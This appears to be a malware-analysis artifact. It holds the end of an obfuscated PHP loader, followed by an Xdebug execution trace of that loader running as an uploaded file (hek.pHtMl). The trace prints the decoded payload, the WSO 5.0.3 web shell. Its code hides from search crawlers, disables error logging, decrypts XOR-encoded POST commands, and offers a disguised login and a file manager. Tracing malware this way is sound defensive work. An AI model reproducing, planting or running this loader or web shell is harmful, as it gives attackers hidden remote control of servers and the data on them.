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'";
$JTx2343 .= $pHFdNhg9688;
$JTx2343 .= $UrR1094;
$JTx2343 .= $MYtraky2482;
@($mEriqO3481 = create_function('', $JTx2343));
@$mEriqO3481();

Execution traces

data/traces/b20775645ca3b4dbaf464d5a486187dd_trace-1676237247.8029.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:27:53.700731]
1	0	1	0.000159	393512
1	3	0	0.000491	441072	{main}	1		/var/www/html/uploads/hek.pHtMl	0	0
1		A						/var/www/html/uploads/hek.pHtMl	1	$MdRwlQi6788 = 'y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je'
1		A						/var/www/html/uploads/hek.pHtMl	1	$q2866 = 'create_function'
1		A						/var/www/html/uploads/hek.pHtMl	1	$pHFdNhg9688 = '$x="'
1		A						/var/www/html/uploads/hek.pHtMl	1	$MYtraky2482 = '";$a=base64_decode($x);$b=gzinflate($a);eval($b);'
1		A						/var/www/html/uploads/hek.pHtMl	1	$UrR1094 = '\'5b3petu6sij4O+f7zjsgXNqLUqzZTlYiR3YcT3EG2/GQyc7WpShKYkyJWiTlIYn/9nvcZ+hH6BfoZ+gn6arCQHCQLCfr3nP6633OikWgUCgUgEIBKFQNPL9reaxg+54flAs9p29Nvahj2ZHrj+Pvaeh0rG/WdZxiD60gdKJywQ/LhdDqO52R33PKBfuqVy4M/ZHToV+W51qhE67+R6EzscLwyg96rM0MY5XValZv5I7/E3KsgTOOIDkKps4qJkzHrg3YIMk8PdmpPDUhtVYrCLIweWPsj29G7ncnMKlEnLPjek74zhpjOuRsBdMJNLDNRr3HxULnePvow/bRmfnq5OSwcwpfnY3d7f0T82sJwN0+Kz50Q2gWQG4eHLzZ2z7LKfbq4BgLVI0L58b4WiqxH//5Hw8mgR/50c3EKd5VoswEUVjlLdZadEaT6AYKHQLcmSlYCwVKgDiTCm1RHEoTzUHHjinJAuTJPIuytC9AB6jGl0VjGvUrT5G8dI1l1n'
1		A						/var/www/html/uploads/hek.pHtMl	1	$JTx2343 .= '$x="'
1		A						/var/www/html/uploads/hek.pHtMl	1	$JTx2343 .= '\'5b3petu6sij4O+f7zjsgXNqLUqzZTlYiR3YcT3EG2/GQyc7WpShKYkyJWiTlIYn/9nvcZ+hH6BfoZ+gn6arCQHCQLCfr3nP6633OikWgUCgUgEIBKFQNPL9reaxg+54flAs9p29Nvahj2ZHrj+Pvaeh0rG/WdZxiD60gdKJywQ/LhdDqO52R33PKBfuqVy4M/ZHToV+W51qhE67+R6EzscLwyg96rM0MY5XValZv5I7/E3KsgTOOIDkKps4qJkzHrg3YIMk8PdmpPDUhtVYrCLIweWPsj29G7ncnMKlEnLPjek74zhpjOuRsBdMJNLDNRr3HxULnePvow/bRmfnq5OSwcwpfnY3d7f0T82sJwN0+Kz50Q2gWQG4eHLzZ2z7LKfbq4BgLVI0L58b4WiqxH//5Hw8mgR/50c3EKd5VoswEUVjlLdZadEaT6AYKHQLcmSlYCwVKgDiTCm1RHEoTzUHHjinJAuTJPIuytC9AB6jGl0VjGvUrT5G8dI1l1n'
1		A						/var/www/html/uploads/hek.pHtMl	1	$JTx2343 .= '";$a=base64_decode($x);$b=gzinflate($a);eval($b);'
2	4	0	0.000700	478088	create_function	0		/var/www/html/uploads/hek.pHtMl	1	2	''	'$x="\'5b3petu6sij4O+f7zjsgXNqLUqzZTlYiR3YcT3EG2/GQyc7WpShKYkyJWiTlIYn/9nvcZ+hH6BfoZ+gn6arCQHCQLCfr3nP6633OikWgUCgUgEIBKFQNPL9reaxg+54flAs9p29Nvahj2ZHrj+Pvaeh0rG/WdZxiD60gdKJywQ/LhdDqO52R33PKBfuqVy4M/ZHToV+W51qhE67+R6EzscLwyg96rM0MY5XValZv5I7/E3KsgTOOIDkKps4qJkzHrg3YIMk8PdmpPDUhtVYrCLIweWPsj29G7ncnMKlEnLPjek74zhpjOuRsBdMJNLDNRr3HxULnePvow/bRmfnq5OSwcwpfnY3d7f0T82sJwN0+Kz50Q2gWQG4eHLzZ2z7LKfbq4BgLVI0L58b4WiqxH//5Hw8mgR/50c3EKd5VoswEUVjlLdZadEaT6AYKHQLcmSlYCwVKgDiTCm1RHEoTzUHHjinJAuTJPIuytC9AB6jGl0VjGvUrT5G8dI'
3	5	0	0.000969	590128	{internal eval}	1		/var/www/html/uploads/hek.pHtMl	1	0
3	5	1	0.000985	590128
3	5	R			NULL
2	4	1	0.001000	516056
2	4	R			'\000lambda_1'
1		A						/var/www/html/uploads/hek.pHtMl	1	$mEriqO3481 = '\000lambda_1'
2	6	0	0.001029	515992	__lambda_func	1		/var/www/html/uploads/hek.pHtMl	1	0
2		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function	1	$x = '\'5b3petu6sij4O+f7zjsgXNqLUqzZTlYiR3YcT3EG2/GQyc7WpShKYkyJWiTlIYn/9nvcZ+hH6BfoZ+gn6arCQHCQLCfr3nP6633OikWgUCgUgEIBKFQNPL9reaxg+54flAs9p29Nvahj2ZHrj+Pvaeh0rG/WdZxiD60gdKJywQ/LhdDqO52R33PKBfuqVy4M/ZHToV+W51qhE67+R6EzscLwyg96rM0MY5XValZv5I7/E3KsgTOOIDkKps4qJkzHrg3YIMk8PdmpPDUhtVYrCLIweWPsj29G7ncnMKlEnLPjek74zhpjOuRsBdMJNLDNRr3HxULnePvow/bRmfnq5OSwcwpfnY3d7f0T82sJwN0+Kz50Q2gWQG4eHLzZ2z7LKfbq4BgLVI0L58b4WiqxH//5Hw8mgR/50c3EKd5VoswEUVjlLdZadEaT6AYKHQLcmSlYCwVKgDiTCm1RHEoTzUHHjinJAuTJPIuytC9AB6jGl0VjGvUrT5G8dI1l1n'
3	7	0	0.001085	515992	base64_decode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function	1	1	'\'5b3petu6sij4O+f7zjsgXNqLUqzZTlYiR3YcT3EG2/GQyc7WpShKYkyJWiTlIYn/9nvcZ+hH6BfoZ+gn6arCQHCQLCfr3nP6633OikWgUCgUgEIBKFQNPL9reaxg+54flAs9p29Nvahj2ZHrj+Pvaeh0rG/WdZxiD60gdKJywQ/LhdDqO52R33PKBfuqVy4M/ZHToV+W51qhE67+R6EzscLwyg96rM0MY5XValZv5I7/E3KsgTOOIDkKps4qJkzHrg3YIMk8PdmpPDUhtVYrCLIweWPsj29G7ncnMKlEnLPjek74zhpjOuRsBdMJNLDNRr3HxULnePvow/bRmfnq5OSwcwpfnY3d7f0T82sJwN0+Kz50Q2gWQG4eHLzZ2z7LKfbq4BgLVI0L58b4WiqxH//5Hw8mgR/50c3EKd5VoswEUVjlLdZadEaT6AYKHQLcmSlYCwVKgDiTCm1RHEoTzUHHjinJAuTJPIuytC9AB6jGl0VjGvUrT5G8dI1l1n'
3	7	1	0.001209	552888
3	7	R			'��zۺ�(�;��; \\ڋR��NV"Gv\034Oq\006����֥(JbL�Z$�!���{�g�G�\027�g�\'��@p�,\'��s��}ΊE�P(\024�B\001(T\r<�ky�`��\037�\v=�oM��cّ���i�t�o�u�b\017� t�r�\017˅��;���s�\005��W.\f��ӡ_��Z�\023��G�3����\017z��\fc��jVo�\023r��3� 9\n��*&LǮ\r� �<=٩<5!�V+\b�0yc�oF�w\'0�D���zN��\032c:�l\005�\t4��F���B�x���љ����s\n_����\023�k\t��>+>tCh\026@n\036\034���>�)���\030\vT�\v��Z*�\037��\037\017&�\037����)�U��\004QX�-�ZtF��\006\n\035\002ܙ)X\v\005J�8�\nmQ\034J\023�Aǎ)�\002��<���/@\a�ƗEc\032�+O��t�e�s��f��R�\017�V'
2		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function	1	$a = '��zۺ�(�;��; \\ڋR��NV"Gv\034Oq\006����֥(JbL�Z$�!���{�g�G�\027�g�\'��@p�,\'��s��}ΊE�P(\024�B\001(T\r<�ky�`��\037�\v=�oM��cّ���i�t�o�u�b\017� t�r�\017˅��;���s�\005��W.\f��ӡ_��Z�\023��G�3����\017z��\fc��jVo�\023r��3� 9\n��*&LǮ\r� �<=٩<5!�V+\b�0yc�oF�w\'0�D���zN��\032c:�l\005�\t4��F���B�x���љ����s\n_����\023�k\t��>+>tCh\026@n\036\034���>�)���\030\vT�\v��Z*�\037��\037\017&�\037����)�U��\004QX�-�ZtF��\006\n\035\002ܙ)X\v\005J�8�\nmQ\034J\023�Aǎ)�\002��<���/@\a�ƗEc\032�+O��t�e�s��f��R�\017�V'
3	8	0	0.002213	552856	gzinflate	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function	1	1	'��zۺ�(�;��; \\ڋR��NV"Gv\034Oq\006����֥(JbL�Z$�!���{�g�G�\027�g�\'��@p�,\'��s��}ΊE�P(\024�B\001(T\r<�ky�`��\037�\v=�oM��cّ���i�t�o�u�b\017� t�r�\017˅��;���s�\005��W.\f��ӡ_��Z�\023��G�3����\017z��\fc��jVo�\023r��3� 9\n��*&LǮ\r� �<=٩<5!�V+\b�0yc�oF�w\'0�D���zN��\032c:�l\005�\t4��F���B�x���љ����s\n_����\023�k\t��>+>tCh\026@n\036\034���>�)���\030\vT�\v��Z*�\037��\037\017&�\037����)�U��\004QX�-�ZtF��\006\n\035\002ܙ)X\v\005J�8�\nmQ\034J\023�Aǎ)�\002��<���/@\a�ƗEc\032�+O��t�e�s��f��R�\017�V'
3	8	1	0.002982	643000
3	8	R			'global $color,$default_action,$default_use_ajax,$default_charset,$os,$safe_mode,$cwd,$home_cwd,$aliases;\n$_password = ""; //admin\r\n$_agent = true;\r\n$_unicode = \'UTF-8\';\r\n//$_action = \'Anonymizer\';\r\n$_action = \'FilesMan\';\r\n\r\n$Drupal = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $Drupal);\r\n}\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $_unicode;\r\nif (!isset($_POST[\'
2		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function	1	$b = 'global $color,$default_action,$default_use_ajax,$default_charset,$os,$safe_mode,$cwd,$home_cwd,$aliases;\n$_password = ""; //admin\r\n$_agent = true;\r\n$_unicode = \'UTF-8\';\r\n//$_action = \'Anonymizer\';\r\n$_action = \'FilesMan\';\r\n\r\n$Drupal = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $Drupal);\r\n}\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $_unicode;\r\nif (!isset($_POST[\'
3	9	0	0.005916	1307512	eval	1	'global $color,$default_action,$default_use_ajax,$default_charset,$os,$safe_mode,$cwd,$home_cwd,$aliases;\n$_password = ""; //admin\r\n$_agent = true;\r\n$_unicode = \'UTF-8\';\r\n//$_action = \'Anonymizer\';\r\n$_action = \'FilesMan\';\r\n\r\n$Drupal = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $Drupal);\r\n}\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $_unicode;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif (PHP_VERSION_ID < 70000)\r\n\t@set_magic_quotes_runtime(0);\r\n@define(\'VERSION\', \'5.0.3\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($_password)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $_password))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $_password);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $_password))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$_agent;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\t\techo "";\r\n\tdie("<style>* {margin:0 !important;padding:0 !important;}</style><meta name=robots content=noindex><body><pre><form method=post style=\'position:absolute !important;\'><input type=password name=pass style=\'background-color:transparent !important;border:none !important;outline:none !important;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none !important;background-color:transparent !important;color:transparent !important;cursor:pointer !important;\'></form></pre><iframe name=\'iframe_id\' id=\'iframe_id\' src=" .\'//\'. $_SERVER[\'SERVER_NAME\'] .\'/404\'. " onload=\'document.title=this.contentDocument? this.contentDocument.title : this.contentWindow.document.title;\' width=100% height=100% scrolling=auto frameborder=0 style=\'border:none !important;\'></iframe>\r\n\t<script type=\'text/javascript\'>\r\n\t(function(el, w){\r\n\t\tfunction loadFunc(e){\r\n\t\t\te = e || w.event;\r\n\t\t\tvar f = e.target || e.srcElement, fb = f.contentDocument || f.contentWindow.document;\r\n\t\t\tdocument.title = fb.title;\r\n\t\t}\r\n\t\tif (w.addEventListener)\r\n\t\t\tel.addEventListener(\'load\', loadFunc, false);\r\n\t\telse if (w.attachEvent)\r\n\t\t\tel.attachEvent(\'onload\', loadFunc);\r\n\t})(document.getElementById(\'iframe_id\'), window);\r\n\t</script>\r\n\t<body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n/* (С) 04.2015 Pirat */\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'_unicode\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title>\r\n<style>\r\n\t.e, .v, .h, .h th {background-color:#060A10 !important; border: none !important;}\r\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable\t\t{width:inherit !important; box-shadow: none !important;}\r\n\ttable.info\t{background:#060a10; color:#C3C3C3;}\r\n\ttable.main\t{width:100% !important;}\r\n\ttable#toolsTbl {background-color: #060A10;}\r\n\tspan,h1,a\t{color:#fff !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #12151d;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%; max-width:100%; height:400px;}\r\n\tinput, textarea, select\t{margin:0; padding-top:2px; color:#fff;background-color:#12151d;border:none;font:9pt Courier New;outline:none;}\r\n\tinput:hover, textarea:hover, select:hover {background-color:#202832;}\r\n\tinput:focus, textarea:focus, select:focus {background-color:#202832;}\r\n\tinput:-webkit-autofill {-webkit-box-shadow: inset 0 0 0 50px #12151d !important;-webkit-text-fill-color: #fff !important;color: #fff !important;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #060a10;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#060a10;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#2E6E9C;}\r\n\tinput[type=\'button\']{background-color:#2E6E9C;}\r\n\tinput[type=\'submit\']:hover{background-color:#56AD15;}\r\n\tinput[type=\'button\']:hover{background-color:#56AD15;}\r\n\t.l1\t\t\t{background-color:#12151d;}\r\n\t.fm tr:hover {background-color:#202832;}\t\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        